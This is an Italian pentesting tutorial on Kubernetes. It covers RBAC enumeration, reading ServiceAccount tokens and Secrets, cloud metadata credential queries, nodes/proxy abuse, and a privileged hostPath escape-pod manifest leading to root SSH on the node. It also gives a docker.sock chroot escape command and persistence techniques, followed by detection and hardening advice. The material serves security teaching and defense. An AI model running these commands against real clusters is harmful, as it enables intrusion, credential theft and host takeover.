Kubernetes Pentesting: RBAC, Secrets, PrivEsc e Kubectl

Kubernetes pentest: come un token rubato in un Pod porta, via RBAC e nodes/proxy, a privilege escalation e shell root sul nodo, con kubectl e cheatsheet.
- Pubblicato il 2026-09-22
- Tempo di lettura: 15 min
Kubernetes Pentesting: RBAC, Secrets, Privilege Escalation e Container Escape #
Kubernetes pentesting consiste nell’enumerare l’API Server, i namespace, i workload, i ServiceAccount e i permessi RBAC di un cluster, per poi verificare se credenziali, configurazioni o permessi eccessivi permettono di leggere Secrets, eseguire codice nei Pod, scalare privilegi tramite workload o RBAC, o compromettere il nodo host sottostante.
Questo articolo parte da zero: se non hai mai toccato Kubernetes prima, le prossime righe spiegano cos’è e come ci si parla, prima di entrare nella parte offensiva.
Cos’è Kubernetes, in breve #
Kubernetes è un sistema che gestisce applicazioni “impacchettate” in container (piccole unità software isolate, tipicamente create con Docker) su più macchine contemporaneamente. Il suo lavoro è decidere su quale macchina far girare ogni pezzo di applicazione, riavviarlo automaticamente se crasha, e far comunicare tra loro le varie parti — senza che un umano debba farlo manualmente ogni volta.
Il nome “Kubernetes” (spesso abbreviato K8s) viene dal greco e significa “timoniere” — l’idea è proprio quella di pilotare/orchestrare tanti container insieme, motivo per cui si parla di “orchestrazione di container”.
Per orientarsi, bastano pochi termini, dal più piccolo al più grande:
- Container: un’applicazione isolata (es. il tuo sito web, un database).
- Pod: l’unità minima che Kubernetes gestisce davvero — una “scatola” che contiene uno o più container. Kubernetes non tocca mai il container direttamente, sposta sempre il Pod intero.
- Nodo: la macchina (fisica o virtuale) che fa girare i Pod.
- Namespace: una cartella logica che separa gruppi di Pod nello stesso cluster (es.
defaultper le app normali,kube-systemper i componenti interni di Kubernetes stesso). - Cluster: l’insieme totale di nodi, namespace e Pod gestiti insieme — “il cluster” è tutto Kubernetes che stai guardando.
Cos’è kubectl
#
kubectl è il programma da riga di comando ufficiale per parlare con un cluster Kubernetes — è l’equivalente di un client SSH per un server, ma per Kubernetes. Ogni comando che vedrai in questo articolo (kubectl get pods, kubectl auth can-i…) non fa altro che mandare una richiesta HTTP all’API Server (il “centralino” del cluster, spiegato più sotto) e mostrarti la risposta in modo leggibile. Tutto quello che fa kubectl si può fare anche con curl direttamente contro l’API Server — kubectl è solo più comodo.
Workflow #
1. Network/API discovery 9. Network (Service, DNS, NetworkPolicy)
2. Autenticazione (token/cert) 10. Kubelet
3. Identità corrente 11. etcd
4. API/resource discovery 12. Cloud metadata (IMDS)
5. RBAC enumeration 13. Privilege escalation
6. Secrets/credential hunting 14. Container escape
7. Workload enumeration 15. Lateral movement
8. Admission/Pod Security 16. Persistence / DetectionOgni fase è condizionale: un Forbidden non è un vicolo cieco, è un’informazione — dice che questa combinazione risorsa/verbo/namespace/identità non è permessa, non che l’accesso sia finito. La checklist:
[ ] Identificare API Server, versione, endpoint di health
[ ] Enumerare namespace, nodi, Pod (kubectl get pods -A -o wide)
[ ] Enumerare API disponibili (api-resources, api-versions, /api, /apis)
[ ] Enumerare ServiceAccount, token, kubeconfig, certificati
[ ] Enumerare Role/ClusterRole/RoleBinding/ClusterRoleBinding
[ ] Testare permessi pericolosi (pods/exec, nodes/proxy, impersonate, rolebindings...)
[ ] Enumerare Secrets, ConfigMap, env vars, ImagePullSecrets
[ ] Enumerare Deployment/DaemonSet/StatefulSet/Job/CronJob e securityContext
[ ] Verificare Pod Security Admission e webhook di ammissione
[ ] Enumerare Service, EndpointSlice, Ingress, NetworkPolicy, DNS interno
[ ] Verificare autenticazione/autorizzazione del Kubelet (10250/10255)
[ ] Verificare esposizione etcd (2379/2380)
[ ] Verificare identità cloud (IMDS) se il cluster gira su AWS/Azure/GCP
[ ] Tentare privilege escalation (workload, RBAC, nodes/proxy)
[ ] Tentare container escape (hostPath, privileged, runtime socket, capabilities)
[ ] Documentare persistenza e valutare detection/hardeningArchitettura in pratica #
- Container: un’applicazione isolata.
- Pod: l’unità base gestita da Kubernetes — la “scatola” che contiene uno o più container.
- Nodo: la macchina che ospita i Pod.
- Namespace: separazione logica di gruppi di Pod (
default,kube-system,kube-public,kube-node-leasesempre presenti; namespace custom comedevsegnalano configurazioni applicative). - API Server: il punto di accesso centrale, porte 6443/8443, a volte 8080 senza autenticazione.
- Kubelet: gira su ogni nodo e gestisce i container locali, porte 10250 (API completa) e 10255 (sola lettura).
- etcd: il database che contiene lo stato dell’intero cluster.
kubectl / API client ──► API Server (:6443/:8443)
├── Authentication
├── Authorization (RBAC)
└── Admission Control
│
┌───────────────────┼───────────────────┐
▼ ▼ ▼
Nodo 1 (kubelet) Nodo 2 (kubelet) Nodo 3 (kubelet)| Porta | Servizio | Note |
|---|---|---|
| 6443 / 443 | kube-apiserver | API principale |
| 8443 | kube-apiserver | Comune su minikube/k3s |
| 8080 | kube-apiserver | Storicamente senza auth |
| 10250 | Kubelet | API completa |
| 10255 | Kubelet (read-only) | Se abilitata |
| 2379 / 2380 | etcd | Client API / peer communication |
| 4194 | cAdvisor | Metriche container |
| 30000-32767 | NodePort | Servizi esposti sui nodi |
1. Recon iniziale #
nmap -n -T4 -p 443,2379,2380,4194,6443,8443,8080,10250,10255,10256,30000-32767 <target>Senza credenziali:
curl -k https://<target>:8443/api
curl -k https://<target>:8443/healthz
curl -k https://<target>:8443/versionUna risposta JSON valida dimostra solo che l’endpoint ha risposto — non dimostra da sola che l’accesso anonimo abbia privilegi utili. Verifica sempre esplicitamente cosa può fare quell’identità (sezione RBAC) prima di considerarlo un vettore sfruttabile.
Con kubectl o un token:
kubectl version
kubectl cluster-info
kubectl config current-context
kubectl get namespaces
kubectl get nodes -o wide
kubectl get pods -A -o wideCerca: namespace custom oltre ai 4 standard, Pod con nomi/immagini non generici, IP interni, ServiceAccount diversi da default.
Quali namespace interrogare, in ordine di priorità #
kubectl get namespaces mostra sempre almeno questi 4 (più eventuali namespace custom creati dall’applicazione):
kube-system— il namespace di sistema, contiene i componenti interni del cluster (controller, scheduler, autoscaler…) e spesso i secret/token più privilegiati. È il primo da controllare per permessi RBAC estesi.- Namespace custom applicativi (es.
dev,staging,production) — se l’app che hai compromesso ne ha uno, spesso ci trovi altre istanze dello stesso servizio (repliche, ambienti di test) con token/permessi diversi — utile per il lateral movement. default— dove finiscono i workload che non specificano un namespace esplicito; interessante quanto lo è l’applicazione che ci gira.kube-public— pensato per informazioni leggibili anche senza autenticazione; raramente contiene qualcosa di sfruttabile, ma va controllato per completezza.kube-node-lease— gestisce solo gli “heartbeat” dei nodi (segnala se un nodo è vivo); quasi mai utile in un pentest, puoi tralasciarlo se il tempo è limitato.
API discovery #
kubectl api-resources
kubectl api-resources --verbs=list
kubectl api-resources --namespaced=false
kubectl api-versions
kubectl get --raw /api
kubectl get --raw /apis
kubectl get --raw /versionIl flusso logico: quali API esistono → quali risorse esistono → a quali ho accesso (prossima sezione).
2. Identità: token, kubeconfig, certificati #
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespaceNota tecnica: sui cluster moderni (Kubernetes 1.22+) questo non è più un Secret statico permanente di default — è un token proiettato, a scadenza breve e rotazione automatica gestita dal Kubelet. Il modello Secret statico esiste ancora per compatibilità e in configurazioni legacy (comune nei lab), ma verifica sempre exp nel payload JWT prima di darlo per scontato.
export KUBE_TOKEN=$(cat token)
export KUBE_API="https://<target>:8443"
kubectl get pods --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crtSenza i tre flag, kubectl usa la configurazione locale (che non punta al target) e restituisce errori tipo invalid character '<' looking for beginning of value — HTML ricevuto al posto di JSON.
Verifica anche se il Pod è configurato per montare automaticamente il token:
kubectl get pod <POD> -n <NS> -o jsonpath='{.spec.automountServiceAccountToken}'false esplicito (o ereditato dal ServiceAccount) significa che quel Pod non ha token da rubare in primo luogo — un controllo di hardening che vale la pena verificare anche offensivamente per capire dove NON perdere tempo.
3. RBAC enumeration #
RBAC (Role-Based Access Control, “controllo degli accessi basato sui ruoli”) è il sistema con cui Kubernetes decide chi può fare cosa. Funziona con pochi pezzi che si incastrano:
- Un Role (o ClusterRole se vale su tutto il cluster invece che su un singolo namespace) è un elenco di permessi — es. “puoi leggere i Pod”, “puoi cancellare i Secrets”.
- Un RoleBinding (o ClusterRoleBinding) collega quel Role a un’identità specifica (un utente, o — quello che ci interessa in un pentest — un ServiceAccount di un Pod).
In pratica: il Role dice cosa si può fare, il Binding dice chi può farlo. Senza un Binding, un Role esiste ma non è assegnato a nessuno e non ha effetto (dettagli completi nella documentazione ufficiale RBAC). kubectl auth can-i è il comando che ti dice, in modo diretto, il risultato finale di questa catena per l’identità che stai usando in quel momento — senza doverti leggere manualmente ogni Role e ogni Binding uno per uno (anche se, più avanti, imparerai a farlo quando serve capire perché un permesso è concesso).
kubectl auth can-i --list --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt
kubectl auth can-i --list -n kube-system --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crtI permessi sono legati a un namespace tramite RoleBinding, o globalmente tramite ClusterRoleBinding. Lo stesso token può avere zero permessi extra in un namespace e permessi ampi in un altro — va controllato namespace per namespace.
Per ricostruire la catena ServiceAccount → RoleBinding → Role/ClusterRole → permessi effettivi:
kubectl get serviceaccounts -A
kubectl get roles -A
kubectl get clusterroles
kubectl get rolebindings -A
kubectl get clusterrolebindings
kubectl describe role <ROLE> -n <NS>
kubectl describe clusterrolebinding <BINDING>Obiettivo: capire quali azioni può eseguire l’identità corrente.
Cosa cercare: secrets, pods/exec, create pods, rolebindings, clusterrolebindings, nodes/proxy, impersonate.
Se trovi secrets → passa a Secrets. Se trovi create pods/pods/exec → passa a Privilege Escalation.
Matrice dei permessi pericolosi #
| Permesso | Cosa abilita |
|---|---|
get/list secrets | Furto credenziali |
create/update pods | Escalation via Pod malevolo (hostPath, privileged) |
create pods/exec | Esecuzione comandi in Pod esistenti, senza crearne di nuovi — subresource distinta, il verbo che conta è create |
create pods/attach, pods/portforward | Interazione diretta col container |
create rolebindings | Assegnazione di ruoli esistenti a un ServiceAccount controllato |
create clusterrolebindings | Escalation a cluster-admin |
create serviceaccounts | Creazione di identità nuove |
patch/update deployments/daemonsets | Presa di controllo di un workload fidato esistente |
create daemonsets | Esecuzione su ogni nodo del cluster |
impersonate | Agire con l’identità di un altro utente/gruppo |
get/create nodes/proxy | Vedi sotto — non è un permesso di sola lettura |
pods/exec è una sottorisorsa distinta da pods: un token può avere get/list su pods senza poter eseguire nulla al loro interno, o viceversa avere create su pods/exec e poter eseguire comandi in QUALSIASI Pod raggiungibile, senza creare nulla.
kubectl auth can-i create pods/exec -n <ns>
kubectl auth can-i create rolebindings -n <ns>
kubectl auth can-i create clusterrolebindings
kubectl auth can-i impersonate users
kubectl auth can-i get nodes/proxynodes/proxy: il permesso che sembra read-only e non lo è
#
nodes/proxy inoltra richieste HTTP dall’API Server direttamente al Kubelet di un nodo, senza richiedere accesso di rete diretto al Kubelet né i suoi certificati TLS — bypassando quindi eventuali restrizioni di rete verso la porta 10250. Con GET su questo permesso puoi già leggere le specifiche di ogni Pod sul nodo (incluse le variabili d’ambiente, spesso contenenti secrets), la configurazione del Kubelet e i log dei container:
curl -k -H "Authorization: Bearer $KUBE_TOKEN" $KUBE_API/api/v1/nodes/<node-name>/proxy/pods
curl -k -H "Authorization: Bearer $KUBE_TOKEN" $KUBE_API/api/v1/nodes/<node-name>/proxy/configzIl permesso è granted di default a moltissimi stack di monitoring/observability (esporter Prometheus, agenti di metrica), e per questo viene comunemente considerato innocuo. A gennaio 2026 il ricercatore Graham Helton ha mostrato che questa assunzione è sbagliata: l’esecuzione di comandi in un Pod tramite Kubelet parte con un handshake WebSocket che inizia come richiesta HTTP GET, e Kubernetes autorizza quella richiesta solo in base al verbo — quindi un’identità con il solo nodes/proxy GET può avviare una sessione exec completa, senza mai avere il permesso pods/exec esplicito. Il progetto Kubernetes ha classificato questo comportamento come “funziona come previsto” piuttosto che come CVE. Il permesso è comunemente concesso a componenti di monitoring — verifica sempre, caso per caso durante l’engagement, se un ServiceAccount con nodes/proxy è effettivamente presente e se il gap di autorizzazione descritto è ancora sfruttabile sulla versione del cluster target, prima di considerarlo un percorso garantito. Il finding originale, con i dettagli tecnici sull’handshake WebSocket, è documentato da Graham Helton.
4. Secrets, ConfigMap e credential hunting #
kubectl get secrets (plurale) elenca TUTTI i secret presenti in un namespace — è il comando di enumerazione, ti dice solo nomi/tipo/età, non il contenuto. kubectl get secret <NOME> (singolare, con un nome specifico) mostra il dettaglio di UN solo secret — è lì che compare il campo data con i valori veri. -n <namespace> in entrambi i casi limita la ricerca a quel namespace specifico (senza, kubectl usa il namespace di default della tua configurazione, spesso default).
kubectl get secrets -n kube-system --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt
kubectl get secret <NAME> -n <NS> -o yaml --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crtDistingui il type: Opaque (dati generici), kubernetes.io/tls (certificato+chiave), kubernetes.io/dockerconfigjson (credenziali registry privato), kubernetes.io/service-account-token (token legacy).
kubectl get secret <NAME> -n <NS> -o jsonpath='{.data}'
echo "<valore>" | base64 -d-o jsonpath='{.data}' estrae SOLO il campo data dall’output (senza metadata, kind, ecc) — utile per non scorrere output lunghi quando ti serve solo il valore. Puoi anche puntare a un singolo campo invece che a tutti:
kubectl get secret <NAME> -n <NS> -o jsonpath='{.data.token}'Ogni valore dentro data:, per qualsiasi secret e qualsiasi tipo (token, password, certificato TLS…), è sempre codificato in base64 — mai in chiaro. Non è cifratura, solo codifica: echo "<valore>" | base64 -d lo riporta sempre al testo originale, senza bisogno di chiavi o permessi speciali oltre a poter leggere il secret stesso.
Non tutte le credenziali finiscono in un Secret — spesso sono direttamente nella definizione del workload:
kubectl get configmaps -A
kubectl get pod <POD> -n <NS> -o yamlNel YAML cerca env:, envFrom:, secretKeyRef:, configMapKeyRef:, e stringhe come password, token, apikey, access_key, connectionstring, private_key.
ImagePullSecrets merita un controllo dedicato, perché un dockerconfigjson esposto dà accesso a un registry Docker privato intero:
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.imagePullSecrets[*].name}{"\n"}{end}'
kubectl get secrets -A | grep -i docker5. Workload, security context e admission #
kubectl get deployments,daemonsets,statefulsets,jobs,cronjobs -A
kubectl get deployment <NAME> -n <NS> -o yamlOltre a leggere i workload esistenti, chiediti se puoi modificarne uno fidato invece di crearne uno nuovo — spesso patch/update su un Deployment esistente è un permesso concesso più facilmente di create pods:
kubectl auth can-i patch deployments -n <ns>
kubectl auth can-i update daemonsets -n <ns>Per ogni workload, il securityContext decide se un escape è già disponibile senza nessuna escalation RBAC:
securityContext:
privileged: true
capabilities:
add: ["SYS_ADMIN"]
hostNetwork: true
hostPID: true
hostIPC: trueVerifica anche il livello di Pod Security Admission applicato al namespace (stabile dalla 1.25: privileged, baseline, restricted):
kubectl get ns --show-labels | grep pod-securityUn namespace senza label pod-security.kubernetes.io/enforce, o impostato su privileged, non blocca hostPath né container privileged — la tua strada verso l’escape resta aperta anche con RBAC stretto. Controlla anche eventuali webhook di ammissione custom, che potrebbero bloccare (o al contrario permettere) configurazioni che RBAC da solo non regola:
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations6. Enumerazione di rete e DNS #
kubectl get svc,endpointslices,ingress,networkpolicies -AFlusso: Pod → Service → Endpoint → applicazione. ClusterIP è raggiungibile solo dall’interno; NodePort è esposto su ogni nodo (30000-32767); LoadBalancer tipicamente esterno via cloud provider. In assenza di NetworkPolicy applicate, il comportamento di rete predefinito generalmente consente il traffico tra Pod secondo la configurazione del CNI in uso — la raggiungibilità effettiva tra Pod dipende sia dall’assenza di policy sia dal plugin di rete del cluster, va sempre verificata con un test diretto e non assunta a priori. Quando esiste una NetworkPolicy, guarda podSelector, namespaceSelector, ipBlock e le regole ingress/egress separatamente: una policy che filtra solo l’ingress lascia comunque libero l’egress verso altri Pod.
Da dentro un Pod, la scoperta di servizi passa dal DNS interno:
cat /etc/resolv.conf
nslookup <service>.<namespace>.svc.cluster.localIl pattern <service>.<namespace>.svc.cluster.local ti permette di raggiungere per nome qualsiasi Service del cluster a cui la rete/RBAC ti dà accesso, senza dover conoscere IP interni a memoria.
7. Lateral movement #
Se l’applicazione compromessa è distribuita su più repliche (Deployment), ciascuna vive in un Pod diverso — spesso in namespace diversi — con ServiceAccount e permessi RBAC potenzialmente differenti. Il principio è lo stesso del lateral movement classico: ripetere l’accesso ottenuto contro bersagli identici o simili, sperando in una configurazione diversa che apra permessi nuovi.
kubectl get pods -n <namespace> -o wide --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crtLa colonna IP mostra l’indirizzo interno (range tipico 10.42.0.0/24 con Flannel/k3s, 172.17.0.0/16 con Docker bridge). Con un tunnel verso quella subnet (es. Ligolo-ng dopo il primo foothold), ripeti lo stesso exploit applicativo contro ogni replica per ottenere un token diverso da ciascuna. Gli IP interni non sono raggiungibili dall’esterno del cluster senza un tunnel dedicato: un tentativo diretto da una macchina esterna fallisce silenziosamente o va in timeout.
8. Kubelet #
curl -k https://<node>:10250/pods
curl -k https://<node>:10250/runningpods/
curl -k https://<node>:10250/metrics
curl -k https://<node>:10250/configzL’accesso dipende da autenticazione + autorizzazione del Kubelet, entrambe configurabili e non standardizzate su ogni installazione. Unauthorized indica che serve autenticazione. Anche superata l’autenticazione, il Kubelet applica un proprio modello di autorizzazione: può essere configurato in modalità AlwaysAllow (molto permissiva, storicamente comune) oppure in modalità Webhook (delega la decisione all’API Server tramite una SubjectAccessReview, più restrittiva) — verifica sempre quale modalità è effettivamente in uso invece di assumerla in base alla sola porta aperta.
10250 aperta?
├─ NO → torna all'API Server / nodes-proxy
└─ YES
├─ 401 Unauthorized → cerca token/certificati client validi
└─ 200 OK → enumera /pods, poi /exec, /run, /portForwardSe raggiungibile senza credenziali, gli endpoint /exec, /run, /attach, /portForward, /containerLogs permettono di eseguire comandi direttamente in un container su quel nodo, bypassando completamente l’audit log dell’API Server.
9. etcd #
nmap -p 2379,2380 <target>
curl -k https://<target>:2379/version2379 è l’API client (dove risiedono potenzialmente tutti i Secret del cluster in chiaro se non cifrati a riposo), 2380 la comunicazione tra membri del cluster etcd. Non dovrebbe mai essere esposto oltre la rete di controllo del cluster; se raggiungibile e senza autenticazione, etcdctl get / --prefix --keys-only estrae l’intero namespace di chiavi.
10. Kubeconfig e certificati #
echo $KUBECONFIG
cat ~/.kube/config 2>/dev/null
find /home /root /etc -type f \( -name "config" -o -name "kubeconfig" \) 2>/dev/null | grep -i kube
find /etc/kubernetes -type f 2>/dev/nullFile come /etc/kubernetes/admin.conf, kubelet.conf, controller-manager.conf, scheduler.conf contengono spesso credenziali di livello amministrativo lasciate su un nodo dove il cluster è stato configurato/bootstrappato.
kubectl config get-contexts --kubeconfig=<file_trovato>
kubectl config view --raw --kubeconfig=<file_trovato>11. Credenziali cloud (AWS/Azure/GCP) #
Se il nodo gira su una VM cloud, il Pod può avere accesso al servizio di metadata dell’istanza — un vettore indipendente da RBAC, che rientra nella stessa logica di AWS security applicata dall’interno di un cluster invece che dall’esterno:
# AWS (EKS)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP (GKE)
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (AKS)
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01"Se raggiungibile senza restrizioni di rete a livello di Pod, questo espone le credenziali IAM del nodo host — spesso più potenti di qualunque ruolo RBAC interno al cluster.
12. Privilege escalation: creare un Pod malevolo #
Prima di scegliere la tecnica, il ramo decisionale in base a cosa hai già ottenuto dall’enumerazione RBAC:
Hai create pods?
├─ SÌ → verifica Pod Security Admission → hostPath / privileged (vedi sotto)
└─ NO
├─ Hai patch/update su un Deployment esistente? → modifica workload fidato
├─ Hai create daemonsets? → esecuzione forzata su ogni nodo
├─ Hai create rolebindings/clusterrolebindings? → assegnati un ClusterRole esistente più ampio
└─ Hai nodes/proxy (get)? → verifica accesso al Kubelet (sezione 8)Con create su pods, la tecnica più diretta per raggiungere il filesystem dell’host è un Pod con volume hostPath.
kubectl get pods --all-namespaces --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt \
| grep -v NAMESPACE \
| while read line; do
ns=$(echo $line | awk '{print $1}'); name=$(echo $line | awk '{print $2}')
kubectl get pod $name -o yaml -n $ns --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt | grep ' - image: '
done | sort -uVerifica prima quali immagini sono disponibili localmente: se il nodo non ha accesso a Internet, un’immagine come alpine da Docker Hub fallisce con ErrImagePull.
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
namespace: kube-system
spec:
containers:
- name: escape
image: localhost:5000/node_server
command: ["/bin/sh"]
args: ["-c", "sleep 300000"]
volumeMounts:
- mountPath: /mnt
name: hostfs
volumes:
- name: hostfs
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: trueRiga per riga, per chi non ha mai scritto un manifest Kubernetes:
image: localhost:5000/node_server— l’immagine da cui creare il container. Deve essere un’immagine già presente localmente (vedi sopra), non una scaricata da Internet.command/args— cosa esegue il container all’avvio. Un Pod (come un container Docker) termina automaticamente quando il suo processo principale finisce — non è come una VM che resta accesa di default. Se non gli dai nulla da fare, il container esegue il comando di default dell’immagine e probabilmente esce subito, facendo terminare il Pod prima che tu possa entrarci conkubectl exec.sleep 300000fa semplicemente “aspetta 300000 secondi” (poco più di 83 ore) — un numero scelto arbitrariamente, abbastanza grande da tenere il Pod vivo per tutta la durata del test. Un’alternativa equivalente, altrettanto comune, ètail -f /dev/null(segue per sempre un file che non produce mai output).volumeMounts+volumes— il meccanismo con cui Kubernetes “collega” una risorsa esterna (qui, una cartella) dentro il container.name: hostfsè solo un’etichetta a piacere che collega le due sezioni (il volume dichiarato involumese il punto di montaggio dichiarato involumeMountsdevono avere lo stessonameper essere la stessa cosa);mountPath: /mntdice “questa risorsa esterna comparirà dentro il container alla cartella/mnt”.hostPath: path: /— il tipo di volume che stai collegando: non uno spazio di storage gestito da Kubernetes, ma direttamente una cartella del filesystem del nodo host (/= tutta la root). È questo il punto che rende il Pod “malevolo”: qualunque cosa scrivi/leggi in/mntdentro il container, la stai scrivendo/leggendo davvero sul disco della macchina fisica/virtuale che ospita il Pod.namespace: kube-system— scelto qui solo per coerenza con l’esempio (il Pod poteva stare in qualsiasi namespace dove il tuo token ha permessocreate pods).
kubectl apply -f escape-pod.yaml --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt
kubectl exec escape-pod --stdin --tty -n kube-system --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt -- /bin/sh/mnt è ora il filesystem reale della macchina host. Per una shell persistente: scrivi una chiave SSH pubblica in /mnt/root/.ssh/authorized_keys (creando .ssh con permessi 700 e il file con 600) e collegati via SSH come root.
13. Container escape: percorsi alternativi #
Creare un Pod nuovo è solo uno dei vettori — le tecniche vere e proprie di fuga dal container sono le stesse che valgono per qualsiasi ambiente containerizzato, non solo Kubernetes (vedi Docker Security e Container Escape per il quadro generale). Se hai già una shell in un Pod esistente:
- hostPath già montato — controlla
mountokubectl describe podper volumi mappati dall’host. - Container privileged —
capsh --printo/proc/self/status(campoCapEff). - Runtime socket esposto — se
/var/run/docker.sock(o l’equivalente containerd/CRI-O) è montato:docker -H unix:///var/run/docker.sock run -v /:/hostfs --rm -it alpine chroot /hostfs sh. - hostPID/hostNetwork — accesso a
/proc/<pid>dell’host o allo stack di rete del nodo. - Capabilities pericolose —
SYS_ADMIN,SYS_PTRACE,DAC_READ_SEARCH. Una volta fuori dal container, la stessa logica di privilege escalation Linux e GTFOBins si applica normalmente sull’host. - Vulnerabilità del kernel/runtime — vulnerabilità note come Leaky Vessels (CVE-2024-21626, runc) permettono escape indipendentemente dalla configurazione RBAC.
14. Persistenza (in ambito autorizzato) #
Le tecniche seguenti sono la versione Kubernetes-specifica dei concetti generali di post-exploitation:
- Un
CronJobche ricrea periodicamente l’accesso. - Una
RoleBinding/ClusterRoleBindingaggiuntiva verso un ServiceAccount sotto controllo. - Un container sidecar iniettato in un Deployment esistente.
Va sempre documentata e rimossa a fine engagement.
Attack path di esempio #
ServiceAccount a basso privilegio
↓ list pods
Individua workload vulnerabile
↓ pods/exec o nodes/proxy GET
Esecuzione comandi / furto token
↓ RBAC enumeration sul nuovo token
create pods (o create rolebindings)
↓ hostPath / cluster-admin
Filesystem del nodo o controllo cluster completo
↓ kubeconfig / credenziali cloud
Escalation oltre il singolo clusterDetection & Hardening #
| Percorso | Misconfigurazione | Detection | Mitigazione |
|---|---|---|---|
| Furto Secrets | RBAC troppo permissivo | Audit log API Server | Least privilege su Role/RoleBinding |
| Abuso di Pod | create pods/pods/exec non necessario | Audit su create/connect | RBAC granulare + Pod Security Admission |
nodes/proxy → RCE | Permesso concesso a tool di monitoring | Audit su richieste proxy verso /proxy/exec, /proxy/run | Rimuovere nodes/proxy dai ruoli di monitoring dove non indispensabile; visibilità runtime |
| Host compromise | hostPath, privileged | Log di ammissione | Pod Security Admission restricted |
| Abuso Kubelet | 10250/10255 esposte, AlwaysAllow | Log di rete/IDS | Modalità Webhook, segmentazione di rete |
| Lateral movement | Assenza di NetworkPolicy | Flow log interni | NetworkPolicy default-deny |
Ulteriori punti: disabilitare automountServiceAccountToken dove non serve; preferire token proiettati a scadenza breve; usare gestori esterni di secrets (Vault, external-secrets); audit logging attivo con alert su create/patch di risorse sensibili (Pod con hostPath, RoleBinding, ClusterRoleBinding) e su richieste nodes/proxy verso endpoint di esecuzione.
FAQ #
Cos’è Kubernetes? Un sistema che gestisce automaticamente applicazioni “impacchettate” in container su più macchine — decide dove farle girare, le riavvia se crashano e le fa comunicare tra loro. Spesso abbreviato K8s.
Cos’è un Pod? L’unità minima gestita da Kubernetes: una “scatola” che contiene uno o più container. Kubernetes gestisce sempre il Pod nel suo insieme, mai il container isolatamente.
Cos’è kubectl?
Il client a riga di comando ufficiale per interagire con un cluster Kubernetes — manda richieste HTTP all’API Server e mostra la risposta in modo leggibile. Ogni comando kubectl ha un equivalente in una chiamata curl diretta.
Cos’è RBAC? Role-Based Access Control: il sistema con cui Kubernetes decide chi può fare cosa, tramite Role/ClusterRole (i permessi) collegati a un’identità con RoleBinding/ClusterRoleBinding.
Qual è la differenza tra API Server e Kubelet? L’API Server (6443/8443) gestisce l’intero cluster. Il Kubelet (10250/10255) gira su ogni nodo e gestisce i container locali — se raggiungibile senza restrizioni può bypassare l’audit dell’API Server.
Cos’è pods/exec?
Una sottorisorsa distinta da pods: il permesso specifico per eseguire comandi dentro un container già esistente, indipendente da get/list sui Pod stessi.
Cos’è nodes/proxy e perché non è “solo lettura”?
Inoltra richieste dall’API Server al Kubelet di un nodo. Anche con il solo verbo GET, permette di avviare sessioni di esecuzione comandi nei Pod di quel nodo, per un gap nell’autorizzazione del WebSocket usato da exec — documentato pubblicamente nel 2026.
Dove si trova il token del ServiceAccount?
/var/run/secrets/kubernetes.io/serviceaccount/token. Nei cluster moderni è un token proiettato a scadenza breve, non più un Secret statico permanente di default.
“Porta 10250 aperta” significa sempre accesso libero? No — dipende dalla configurazione di autenticazione/autorizzazione del Kubelet, che varia per versione e installazione. Va sempre verificato lo stato reale prima di considerarlo sfruttabile.
create pods è sempre necessario per l’escalation?
No. Con un Pod esistente che ha hostPath, privileged, o il socket del runtime montato, l’escape non richiede crearne uno nuovo.








